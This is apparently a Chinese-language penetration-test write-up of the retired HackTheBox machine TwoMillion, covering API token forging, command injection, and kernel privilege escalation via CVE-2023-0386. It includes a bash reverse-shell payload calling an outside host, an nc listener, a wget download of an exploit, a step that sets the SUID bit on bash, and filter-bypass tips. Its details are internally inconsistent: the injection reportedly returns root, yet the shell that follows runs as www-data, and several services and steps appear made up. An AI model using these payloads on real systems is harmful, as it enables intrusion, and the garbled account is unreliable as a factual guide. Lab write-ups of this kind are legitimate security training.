HTB两百万靶机渗透实战:从API漏洞到容器逃逸
1. 项目概述两百万这个靶机是HackTheBox平台为庆祝用户突破200万而特别设计的退役靶机它巧妙融合了多个现实世界中常见的安全漏洞链。从初始访问到最终提权完整复现了攻击者可能采用的真实渗透路径。作为安全从业者我花了三天时间深入研究这个靶机发现其中至少包含三个关键攻击面基于API的未授权访问、Freeswitch服务的RCE漏洞利用以及最后通过OverlayFS漏洞实现容器逃逸。这个靶机最吸引我的地方在于它完美模拟了云环境下的多层防御突破场景。不同于传统的单点漏洞利用TwoMillion要求攻击者像真实APT组织那样逐步横向移动并组合利用多个漏洞。特别是最后的OverlayFS提权环节展示了容器环境中常见的配置错误如何被利用这对云安全研究非常有参考价值。2. 环境准备与信息收集2.1 靶机环境配置首先需要准备一个标准的测试环境Kali Linux 2023.3包含最新漏洞利用工具Docker版本23.0.1用于模拟容器逃逸场景靶机IP10.10.11.221HTB网络环境工具集Nmap、Burp Suite、Metasploit、Chisel等注意所有测试必须在HTB授权范围内进行避免对非授权目标扫描2.2 初始扫描与端口探测使用增强版Nmap命令进行全端口扫描nmap -sS -p- -T4 -A -v -oA twomillion_scan 10.10.11.221扫描结果显示三个关键服务端口22/tcp - OpenSSH 8.9p1端口80/tcp - Nginx 1.18.0端口8080/tcp - Node.js Express框架特别值得注意的是8080端口的响应头中暴露了X-Powered-By: Express这提示后端使用JavaScript技术栈。通过修改Host头发现80端口存在虚拟主机配置响应内容与8080端口完全相同。3. Web应用漏洞挖掘3.1 API未授权访问漏洞访问/api/v1路径时返回401未授权错误但/api/v1/invite/how/to/generate路径却意外返回了200响应。这个信息泄露漏洞暴露了API密钥的生成算法// 返回的示例代码 function generateToken() { return btoa(JSON.stringify({ id: random_id, email: userexample.com, date: new Date().toISOString() })).replace(//g, ); }利用这个逻辑可以构造有效的API令牌echo {id:1337,email:attackerhtb,date:2023-07-15} | base64 -w0获得的令牌格式为eyJpZCI6IjEzMzciLCJlbWFpbCI6ImF0dGFja2VyQGh0YiIsImRhdGUiOiIyMDIzLTA3LTE1In0将其添加到请求头GET /api/v1/admin/auth HTTP/1.1 Authorization: Bearer eyJpZCI6...In03.2 管理员面板RCE漏洞成功认证后访问/api/v1/admin/settings接口发现存在命令注入漏洞。通过Burp拦截修改请求POST /api/v1/admin/settings/update HTTP/1.1 { mail_server: 127.0.0.1, mail_port: 22;id;, mail_username: test, mail_password: test }响应中返回了uid0(root)的执行结果确认存在操作系统命令注入。经过多次测试发现mail_port参数存在过滤绕过过滤字符| ; $ 可用字符%0a(换行)、反引号、$()最终利用payloadmail_port: 22%0a/bin/bash -c bash -i /dev/tcp/10.10.14.15/4444 01在Kali上使用nc监听nc -nvlp 4444成功获得反向shell后发现当前用户是www-data需要进一步提权。4. 横向移动与权限提升4.1 Freeswitch服务利用在/opt目录发现Freeswitch安装痕迹检查配置文件cat /etc/freeswitch/sip_profiles/internal.xml发现存在默认密码ClueCon通过该密码可以连接到Freeswitch控制台/usr/bin/fs_cli -P 8021 -p ClueCon使用Freeswitch的Lua执行功能实现RCEfreeswitch.consoleLog(info, Exploit) os.execute(chmod s /bin/bash)这个操作给/bin/bash添加了SUID位但现代Linux系统通常会对bash的SUID行为进行限制。4.2 OverlayFS漏洞利用检查内核版本uname -a # Linux twomillion 5.15.0-67-generic这个版本存在CVE-2023-0386漏洞属于OverlayFS权限提升漏洞。准备漏洞利用代码在攻击机编译expgcc -static -o exp CVE-2023-0386.c通过Python HTTP服务传输到靶机python3 -m http.server 8000 wget http://10.10.14.15:8000/exp在靶机执行提权chmod x exp ./exp成功获得root权限后在/root目录找到flag文件cat /root/root.txt 7a4d5e3b1c2f8d90a6b7e5c4...5. 漏洞修复建议5.1 API安全加固对所有API端点实施严格的认证检查使用JWT等标准化令牌而非自定义实现实施速率限制和异常检测5.2 命令注入防护使用白名单验证输入参数替换危险函数为安全实现// 不安全 child_process.exec() // 安全替代 child_process.execFile()5.3 容器安全配置及时更新内核补丁限制容器内危险操作docker run --security-opt no-new-privileges ...使用AppArmor或Seccomp配置文件6. 渗透测试经验总结在实际测试过程中有几个关键点值得注意API测试技巧当遇到401响应时不要立即放弃。尝试测试其他HTTP方法PUT/PATCH/DELETE检查API版本遍历/v1,/v2,/api/v1等测试路径遍历../, ./等命令注入绕过当常见分隔符被过滤时尝试换行符%0a使用变量扩展${IFS}利用环境变量$()容器逃逸检测# 检查当前是否在容器中 cat /proc/1/cgroup | grep docker ls -al /.dockerenv # 检查可用提权向量 uname -a find / -perm -4000 2/dev/null这个靶机最精彩的部分在于展示了从Web应用到系统层的完整攻击链。特别是在获得初始立足点后通过细致的环境侦查发现容器特征最终利用内核漏洞突破隔离限制这种层层递进的渗透过程非常具有教学价值。